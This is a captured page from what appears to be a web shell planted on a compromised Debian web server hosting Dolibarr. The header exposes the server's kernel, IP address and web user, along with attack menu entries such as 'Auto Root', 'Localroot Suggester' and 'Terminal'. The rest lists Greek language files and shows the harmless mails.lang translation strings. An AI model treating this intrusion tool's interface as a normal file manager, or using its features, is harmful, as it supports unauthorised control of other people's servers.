Linux vps-61133.fhnet.fr 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
Apache/2.4.25 (Debian)
Server IP : 93.113.207.21 & Your IP : 216.73.216.35
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
asiafood.bdcloud.fr /
langs /
el_GR /
Delete
Unzip
Name
Size
Permission
Date
Action
accountancy.lang
43.05
KB
-rwxr-xr-x
2021-01-30 17:53
admin.lang
260.76
KB
-rwxr-xr-x
2021-01-30 17:53
agenda.lang
12.77
KB
-rwxr-xr-x
2021-01-30 17:53
assets.lang
2.49
KB
-rwxr-xr-x
2021-01-30 17:53
banks.lang
13.69
KB
-rwxr-xr-x
2021-01-30 17:53
bills.lang
50.02
KB
-rwxr-xr-x
2021-01-30 17:53
blockedlog.lang
9.28
KB
-rwxr-xr-x
2021-01-30 17:53
bookmarks.lang
1.35
KB
-rwxr-xr-x
2021-01-30 17:53
boxes.lang
8.99
KB
-rwxr-xr-x
2021-01-30 17:53
cashdesk.lang
7.5
KB
-rwxr-xr-x
2021-01-30 17:53
categories.lang
7.07
KB
-rwxr-xr-x
2021-01-30 17:53
commercial.lang
5.29
KB
-rwxr-xr-x
2021-01-30 17:53
companies.lang
24.7
KB
-rwxr-xr-x
2021-01-30 17:53
compta.lang
24.72
KB
-rwxr-xr-x
2021-01-30 17:53
contracts.lang
7.05
KB
-rwxr-xr-x
2021-01-30 17:53
cron.lang
5.83
KB
-rwxr-xr-x
2021-01-30 17:53
deliveries.lang
1.62
KB
-rwxr-xr-x
2021-01-30 17:53
dict.lang
9.35
KB
-rwxr-xr-x
2021-01-30 17:53
donations.lang
1.92
KB
-rwxr-xr-x
2021-01-30 17:53
ecm.lang
3.32
KB
-rwxr-xr-x
2021-01-30 17:53
errors.lang
40.57
KB
-rwxr-xr-x
2021-01-30 17:53
exports.lang
16.29
KB
-rwxr-xr-x
2021-01-30 17:53
externalsite.lang
410
B
-rwxr-xr-x
2021-01-30 17:53
ftp.lang
1.26
KB
-rwxr-xr-x
2021-01-30 17:53
help.lang
1.5
KB
-rwxr-xr-x
2021-01-30 17:53
holiday.lang
9.63
KB
-rwxr-xr-x
2021-01-30 17:53
hrm.lang
876
B
-rwxr-xr-x
2021-01-30 17:53
install.lang
29.28
KB
-rwxr-xr-x
2021-01-30 17:53
interventions.lang
5.36
KB
-rwxr-xr-x
2021-01-30 17:53
languages.lang
3.35
KB
-rwxr-xr-x
2021-01-30 17:53
ldap.lang
2.13
KB
-rwxr-xr-x
2021-01-30 17:53
link.lang
805
B
-rwxr-xr-x
2021-01-30 17:53
loan.lang
1.71
KB
-rwxr-xr-x
2021-01-30 17:53
mailmanspip.lang
2.1
KB
-rwxr-xr-x
2021-01-30 17:53
mails.lang
15.76
KB
-rwxr-xr-x
2021-01-30 17:53
main.lang
51.44
KB
-rwxr-xr-x
2021-01-30 17:53
margins.lang
5.08
KB
-rwxr-xr-x
2021-01-30 17:53
members.lang
14.81
KB
-rwxr-xr-x
2021-01-30 17:53
modulebuilder.lang
23.51
KB
-rwxr-xr-x
2021-01-30 17:53
mrp.lang
7.55
KB
-rwxr-xr-x
2021-01-30 17:53
multicurrency.lang
2.97
KB
-rwxr-xr-x
2021-01-30 17:53
oauth.lang
3.45
KB
-rwxr-xr-x
2021-01-30 17:53
opensurvey.lang
6.37
KB
-rwxr-xr-x
2021-01-30 17:53
orders.lang
13.62
KB
-rwxr-xr-x
2021-01-30 17:53
other.lang
25.71
KB
-rwxr-xr-x
2021-01-30 17:53
paybox.lang
3.22
KB
-rwxr-xr-x
2021-01-30 17:53
paypal.lang
2.33
KB
-rwxr-xr-x
2021-01-30 17:53
printing.lang
3.34
KB
-rwxr-xr-x
2021-01-30 17:53
productbatch.lang
2.55
KB
-rwxr-xr-x
2021-01-30 17:53
products.lang
30.39
KB
-rwxr-xr-x
2021-01-30 17:53
projects.lang
24.11
KB
-rwxr-xr-x
2021-01-30 17:53
propal.lang
6.01
KB
-rwxr-xr-x
2021-01-30 17:53
receiptprinter.lang
5.09
KB
-rwxr-xr-x
2021-01-30 17:53
receptions.lang
3.71
KB
-rwxr-xr-x
2021-01-30 17:53
resource.lang
1.69
KB
-rwxr-xr-x
2021-01-30 17:53
salaries.lang
1.21
KB
-rwxr-xr-x
2021-01-30 17:53
sendings.lang
5.64
KB
-rwxr-xr-x
2021-01-30 17:53
sms.lang
2.58
KB
-rwxr-xr-x
2021-01-30 17:53
stocks.lang
23.41
KB
-rwxr-xr-x
2021-01-30 17:53
stripe.lang
8.55
KB
-rwxr-xr-x
2021-01-30 17:53
supplier_proposal.lang
4.17
KB
-rwxr-xr-x
2021-01-30 17:53
suppliers.lang
3.48
KB
-rwxr-xr-x
2021-01-30 17:53
ticket.lang
26.79
KB
-rwxr-xr-x
2021-01-30 17:53
trips.lang
7.6
KB
-rwxr-xr-x
2021-01-30 17:53
users.lang
8.51
KB
-rwxr-xr-x
2021-01-30 17:53
website.lang
22.97
KB
-rwxr-xr-x
2021-01-30 17:53
withdrawals.lang
13.01
KB
-rwxr-xr-x
2021-01-30 17:53
workflow.lang
2.63
KB
-rwxr-xr-x
2021-01-30 17:53
zapier.lang
1
KB
-rwxr-xr-x
2021-01-30 17:53
Save
Rename
# Dolibarr language file - Source file is en_US - mails Mailing=EMailing EMailing=EMailing EMailings=EMailings AllEMailings=Όλα τα μηνύματα ηλεκτρονικής αλληλογραφίας MailCard=EMailing card MailRecipients=Παραλήπτες MailRecipient=Παραλήπτης MailTitle=Περιγραφή MailFrom=Αποστολέας MailErrorsTo=Σφάλματα σε MailReply=Απάντηση σε MailTo=Παραλήπτης(ες) MailToUsers=Στο χρήστη (ες) MailCC=Αντιγραφή σε MailToCCUsers=Αντιγραφή σε χρήστες MailCCC=Cached copy to MailTopic=Θέμα ηλεκτρονικού ταχυδρομείου MailText=Μήνυμα MailFile=Επισυναπτώμενα Αρχεία MailMessage=Κείμενο email SubjectNotIn=Όχι στο θέμα BodyNotIn=Όχι στο Σώμα ShowEMailing=Show emailing ListOfEMailings=List of emailings NewMailing=New emailing EditMailing=Edit emailing ResetMailing=Resend emailing DeleteMailing=Delete emailing DeleteAMailing=Delete an emailing PreviewMailing=Preview emailing CreateMailing=Create emailing TestMailing=Test email ValidMailing=Valid emailing MailingStatusDraft=Προσχέδιο MailingStatusValidated=Επικυρωμένο MailingStatusSent=Απεσταλμένο MailingStatusSentPartialy=Μερικώς απεσταλμένα MailingStatusSentCompletely=Στάλθηκε πλήρως MailingStatusError=Σφάλμα MailingStatusNotSent=Δεν στάλθηκε MailSuccessfulySent=Email successfully accepted for delivery (from %s to %s) MailingSuccessfullyValidated=Το Ηλεκτρονικό ταχυδρομείο επικυρωθίκε με επιτυχία MailUnsubcribe=Διαγραφή MailingStatusNotContact=Μην επιτρέπετε την επαφή πια MailingStatusReadAndUnsubscribe=Read and unsubscribe ErrorMailRecipientIsEmpty=Email recipient is empty WarningNoEMailsAdded=No new Email to add to recipient's list. ConfirmValidMailing=Are you sure you want to validate this emailing? ConfirmResetMailing=Προειδοποίηση, ενεργοποιώντας εκ νέου την αποστολή e-mail <b>%s</b> , θα επιτρέψετε την <b>επανάδοση</b> αυτού του μηνύματος ηλεκτρονικού ταχυδρομείου σε μαζική αλληλογραφία. Είστε βέβαιοι ότι θέλετε να το κάνετε αυτό; ConfirmDeleteMailing=Είστε βέβαιοι ότι θέλετε να διαγράψετε αυτό το μήνυμα ηλεκτρονικού ταχυδρομείου; NbOfUniqueEMails=Αριθμός μοναδικών μηνυμάτων ηλεκτρονικού ταχυδρομείου NbOfEMails=Αριθμός Emails TotalNbOfDistinctRecipients=Number of distinct recipients NoTargetYet=No recipients defined yet (Go on tab 'Recipients') NoRecipientEmail=Δεν υπάρχει ηλεκτρονικό ταχυδρομείο παραλήπτη για %s RemoveRecipient=Remove recipient YouCanAddYourOwnPredefindedListHere=To create your email selector module, see htdocs/core/modules/mailings/README. EMailTestSubstitutionReplacedByGenericValues=When using test mode, substitutions variables are replaced by generic values MailingAddFile=Attach this file NoAttachedFiles=No attached files BadEMail=Κακή τιμή για το μήνυμα ηλεκτρονικού ταχυδρομείου ConfirmCloneEMailing=Are you sure you want to clone this emailing? CloneContent=Clone message CloneReceivers=Cloner recipients DateLastSend=Ημερομηνία τελευταίας αποστολής DateSending=Date sending SentTo=Sent to <b>%s</b> MailingStatusRead=Ανάγνωση YourMailUnsubcribeOK=Το e <b>-</b> mail <b>%s καταργείται</b> σωστά από τη λίστα αλληλογραφίας ActivateCheckReadKey=Το κλειδί που χρησιμοποιείται για την κρυπτογράφηση της διεύθυνσης URL που χρησιμοποιείται για τη λειτουργία "Έγγραφο ανάγνωσης" και "Κατάργηση εγγραφής" EMailSentToNRecipients=Το μήνυμα ηλεκτρονικού ταχυδρομείου αποστέλλεται στους παραλήπτες %s. EMailSentForNElements=Το ηλεκτρονικό ταχυδρομείο στάλθηκε για στοιχεία %s. XTargetsAdded=<b>%s</b> παραλήπτες που προστέθηκαν στο κατάλογο των στόχων OnlyPDFattachmentSupported=Αν τα έγγραφα PDF δημιουργήθηκαν ήδη για τα αντικείμενα που θα αποσταλούν, θα επισυνάπτονται στο ηλεκτρονικό ταχυδρομείο. Εάν όχι, δεν θα αποσταλεί κανένα μήνυμα ηλεκτρονικού ταχυδρομείου (επίσης, σημειώστε ότι μόνο έγγραφα pdf υποστηρίζονται ως συνημμένα στη μαζική αποστολή σε αυτή την έκδοση). AllRecipientSelected=Οι παραλήπτες της εγγραφής %s έχουν επιλεγεί (αν είναι γνωστό το email τους). GroupEmails=Ομαδικά μηνύματα ηλεκτρονικού ταχυδρομείου OneEmailPerRecipient=Ένα μήνυμα ηλεκτρονικού ταχυδρομείου ανά παραλήπτη (από προεπιλογή, επιλέγεται ένα μήνυμα ηλεκτρονικού ταχυδρομείου ανά εγγραφή) WarningIfYouCheckOneRecipientPerEmail=Προειδοποίηση, αν επιλέξετε αυτό το πλαίσιο, σημαίνει ότι θα αποσταλεί μόνο ένα μήνυμα ηλεκτρονικού ταχυδρομείου για πολλές διαφορετικές εγγραφές, επομένως εάν το μήνυμά σας περιέχει μεταβλητές υποκατάστασης που αναφέρονται σε δεδομένα ενός αρχείου, δεν είναι δυνατή η αντικατάστασή τους. ResultOfMailSending=Αποτέλεσμα της μαζικής αποστολής ηλεκτρονικού ταχυδρομείου NbSelected=Ο αριθμός είναι επιλεγμένος NbIgnored=Ο αριθμός αγνοήθηκε NbSent=Ο αριθμός αποστέλλεται SentXXXmessages=%s αποστέλλεται μήνυμα (ες). ConfirmUnvalidateEmailing=Are you sure you want to change email <b>%s</b> to draft status? MailingModuleDescContactsWithThirdpartyFilter=Contact with customer filters MailingModuleDescContactsByCompanyCategory=Επαφές ανά κατηγορία τρίτων MailingModuleDescContactsByCategory=Contacts by categories MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Τα μηνύματα ηλεκτρονικού ταχυδρομείου από το αρχείο MailingModuleDescEmailsFromUser=Εισαγωγή μηνυμάτων ηλεκτρονικού ταχυδρομείου από το χρήστη MailingModuleDescDolibarrUsers=Χρήστες με μηνύματα ηλεκτρονικού ταχυδρομείου MailingModuleDescThirdPartiesByCategories=Τρίτα μέρη (κατά κατηγορίες) SendingFromWebInterfaceIsNotAllowed=Η αποστολή από τη διεπαφή ιστού δεν επιτρέπεται. # Libelle des modules de liste de destinataires mailing LineInFile=Σειρά %s στο αρχείο RecipientSelectionModules=Ορίζονται αιτήματα για την επιλογή του παραλήπτη MailSelectedRecipients=Επιλεγμένοι αποδέκτες MailingArea=Emailings περιοχή LastMailings=Latest %s emailings TargetsStatistics=Στατιστικά στοχων NbOfCompaniesContacts=Μοναδικές επαφές/διευθύνσεις MailNoChangePossible=Παραλήπτες με επικυρωμένες ηλεκτρονικές διευθύνσεις δεν μπορούν να αλλάξουν SearchAMailing=Αναζήτηση Ταχυδρομείου SendMailing=Αποστολή ηλεκτρονικού ταχυδρομείου SentBy=Στάλθηκε από MailingNeedCommand=Sending an emailing can be performed from command line. Ask your server administrator to launch the following command to send the emailing to all recipients: MailingNeedCommand2=Μπορείτε, ωστόσο, να τους στείλετε σε απευθείας σύνδεση με την προσθήκη της παραμέτρου MAILING_LIMIT_SENDBYWEB με την αξία του μέγιστου αριθμού των μηνυμάτων ηλεκτρονικού ταχυδρομείου που θέλετε να στείλετε από τη συνεδρία. Για το σκοπό αυτό, πηγαίνετε στο Αρχική - Ρυθμίσεις - Άλλες Ρυθμίσεις. ConfirmSendingEmailing=If you want to send emailing directly from this screen, please confirm you are sure you want to send emailing now from your browser ? LimitSendingEmailing=Σημείωση: Η αποστολή μηνυμάτων ηλεκτρονικού ταχυδρομείου από διαδικτυακή διεπαφή γίνεται αρκετές φορές για λόγους ασφαλείας και τη λήξη χρόνου, <b>%s</b> παραλήπτες ταυτόχρονα για κάθε συνεδρία αποστολής. TargetsReset=Εκκαθάριση λίστας ToClearAllRecipientsClickHere=Κάντε κλικ εδώ για να καταργήσετε τη λίστα παραληπτών για αυτό το ηλεκτρονικό ταχυδρομείο ToAddRecipientsChooseHere=Προσθέστε παραλήπτες επιλέγοντας από τις λίστες NbOfEMailingsReceived=Μαζικές αποστολές έλαβαν NbOfEMailingsSend=Μαζική αλληλογραφία αποστέλλεται IdRecord=ID record DeliveryReceipt=Delivery Ack. YouCanUseCommaSeparatorForSeveralRecipients=Μπορείτε να χρησιμοποιήσετε το <b>κόμμα</b> σαν διαχωριστή για να καθορίσετε πολλούς παραλήπτες. TagCheckMail=Παρακολούθηση άνοιγμα της αλληλογραφίας TagUnsubscribe=link διαγραφής TagSignature=Υπογραφή του χρήστη αποστολής EMailRecipient=Email παραλήπτη TagMailtoEmail=E-mail παραλήπτη (συμπεριλαμβανομένου του συνδέσμου html "mailto:") NoEmailSentBadSenderOrRecipientEmail=No email sent. Bad sender or recipient email. Verify user profile. # Module Notifications Notifications=Notifications NoNotificationsWillBeSent=Δεν υπάρχουν ειδοποιήσεις μέσω ηλεκτρονικού ταχυδρομείου που έχουν προγραμματιστεί για αυτό το συμβάν και την εταιρεία ANotificationsWillBeSent=1 ειδοποίηση θα σταλεί μέσω e-mail SomeNotificationsWillBeSent=%s Θα αποστέλλονται ειδοποιήσεις μέσω e-mail AddNewNotification=Ενεργοποιήστε ένα νέο στόχο ειδοποίησης μέσω ηλεκτρονικού ταχυδρομείου ListOfActiveNotifications=List all active targets for email notification ListOfNotificationsDone=Λίστα όλων των ειδοποιήσεων ηλεκτρονικού ταχυδρομείου που αποστέλλονται MailSendSetupIs=Διαμόρφωση αποστολή email έχει ρυθμιστεί σε '%s'. Αυτή η λειτουργία δεν μπορεί να χρησιμοποιηθεί για να σταλθούν μαζικά μηνύματα ηλεκτρονικού ταχυδρομείου. MailSendSetupIs2=Θα πρέπει πρώτα να πάτε, με έναν λογαριασμό διαχειριστή, στο μενού %s Αρχική - Ρύθμιση - Emails %s για να αλλάξετε την παράμετρο <strong>'%s'</strong> για να χρησιμοποιήσετε τη λειτουργία '%s'. Με αυτόν τον τρόπο, μπορείτε να μεταβείτε στις ρυθμίσεις του διακομιστή SMTP παρέχεται από τον Internet Service Provider και να χρησιμοποιήσετε τη Μαζική αποστολή ηλεκτρονικού ταχυδρομείου. MailSendSetupIs3=Αν έχετε οποιαδήποτε απορία σχετικά με το πώς να ρυθμίσετε το διακομιστή SMTP σας, μπορείτε να ζητήσετε στο %s. YouCanAlsoUseSupervisorKeyword=You can also add the keyword <strong>__SUPERVISOREMAIL__</strong> to have email being sent to the supervisor of user (works only if an email is defined for this supervisor) NbOfTargetedContacts=Τρέχων αριθμός των στοχευμένων ηλεκτρονικών μηνυμάτων της επαφής UseFormatFileEmailToTarget=Imported file must have format <strong>email;name;firstname;other</strong> UseFormatInputEmailToTarget=Enter a string with format <strong>email;name;firstname;other</strong> MailAdvTargetRecipients=Recipients (advanced selection) AdvTgtTitle=Συμπληρώστε τα πεδία εισαγωγής για να επιλέξετε εκ των προτέρων τα τρίτα μέρη ή τις επαφές / διευθύνσεις που θέλετε να στοχεύσετε AdvTgtSearchTextHelp=Χρησιμοποιήστε %% ως μπαλαντέρ. Για παράδειγμα, για να βρείτε όλα τα στοιχεία όπως το <b>jean, joe, jim</b> , μπορείτε να εισάγετε το <b>j%%</b> , μπορείτε επίσης να χρησιμοποιήσετε. ως διαχωριστικό για αξία και χρήση! για εκτός αυτής της τιμής. Για παράδειγμα, το <b>jean, joe, jim%%;! Jimo;! Jima%</b> θα στοχεύσει όλους τους Jean, joe, ξεκινήστε με τον Jim αλλά όχι το jimo και όχι με όλα όσα αρχίζουν με jima AdvTgtSearchIntHelp=Use interval to select int or float value AdvTgtMinVal=Ελάχιστη τιμή AdvTgtMaxVal=Μέγιστη τιμή AdvTgtSearchDtHelp=Use interval to select date value AdvTgtStartDt=Start dt. AdvTgtEndDt=End dt. AdvTgtTypeOfIncudeHelp=Στόχευση ηλεκτρονικού ταχυδρομείου τρίτου μέρους και ηλεκτρονικού ταχυδρομείου της επαφής τρίτου μέρους, ή απλώς ηλεκτρονικού ταχυδρομείου τρίτου μέρους ή απλά ηλεκτρονικού ταχυδρομείου επικοινωνίας AdvTgtTypeOfIncude=Type of targeted email AdvTgtContactHelp=Use only if you target contact into "Type of targeted email" AddAll=Add all RemoveAll=Remove all ItemsCount=Item(s) AdvTgtNameTemplate=Filter name AdvTgtAddContact=Προσθέστε μηνύματα ηλεκτρονικού ταχυδρομείου σύμφωνα με τα κριτήρια AdvTgtLoadFilter=Load filter AdvTgtDeleteFilter=Delete filter AdvTgtSaveFilter=Save filter AdvTgtCreateFilter=Create filter AdvTgtOrCreateNewFilter=Name of new filter NoContactWithCategoryFound=No contact/address with a category found NoContactLinkedToThirdpartieWithCategoryFound=No contact/address with a category found OutGoingEmailSetup=Outgoing email setup InGoingEmailSetup=Incoming email setup OutGoingEmailSetupForEmailing=Outgoing email setup (for module %s) DefaultOutgoingEmailSetup=Προεπιλεγμένη ρύθμιση εξερχόμενων email Information=Πληροφορίες ContactsWithThirdpartyFilter=Επαφές με φίλτρο τρίτου μέρους